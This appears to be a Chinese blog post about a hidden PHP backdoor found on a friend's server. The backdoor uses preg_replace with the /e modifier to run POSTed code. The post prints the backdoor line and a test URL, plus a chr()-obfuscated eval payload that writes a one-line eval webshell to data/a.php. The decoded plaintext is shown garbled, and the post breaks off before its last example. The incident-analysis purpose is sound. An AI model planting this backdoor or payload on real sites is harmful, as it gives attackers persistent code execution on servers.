preg

php后门有很多,包子也见多了和玩多了,但是在一次帮助朋友检查服务器的时候,竟然发现这样的恶意代码。

事情是这样的,朋友的网站的利用各种查找后门的工具都没有发现php木马。老是找不到,小黑的伎俩很高级,每次使

用完毕总是把后门删掉,但是每次都能继续进来,总是找不到从哪进来的。这个着实让人蛋疼。

后来,终于在日志中发现一丝蛛丝马迹,通过我的分析,我发现一个ip总是很奇怪的post数据到某个文件。然后一段

时间后,此ip就访问一个莫名奇妙文件,名字很显眼明显不是正常系统文件,而是php后门。但是很快使用完毕后门就

被删除了。

哈哈,遇到小黑蛮细心的。

然后通过分析发现,小黑的访问的文件发现代码:

代码如下

@preg_replace(“//e”,$_post[‘in_comsenz’],”access denied”);

如果你看到这个代码是不是有的也没什么问题,但是,这个就是小黑的掩藏的恶意代码和后门。隐蔽吧,基本上任何

查杀软件都查杀不到。

preg_replace函数原型:

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

特别说明:

/e 修正符使 preg_replace() 将 replacement 参数当作 php 代码(在适当的逆向引用替换完之后)。提示:要确保

replacement 构成一个合法的 php 代码字符串,否则 php 会在报告在包含 preg_replace() 的行中出现语法解析错

误。

上面的代码是post接受数据要测试,比较麻烦,如果换成get获取数据的话。。。

举例:

代码如下

echo preg_replace(“/test/e”,$_get[“h”],”jutst test”);

如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 php

代码执行)。

如果我们要post的话,我们测试提交下面的代码会怎么样呢?

代码如下

?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr

(110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr

(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr

(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr

(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))

密文对应的明文是:

代码如下

fputs(fopen(data/a.php,w),);

执行的结果是在/data/目录下生成一个一句话木马文件 a.php。

这个就恐怖了吧。。。。

再来一个有难度的例子:

查看代码打印?

代码如下

Posted in 未分类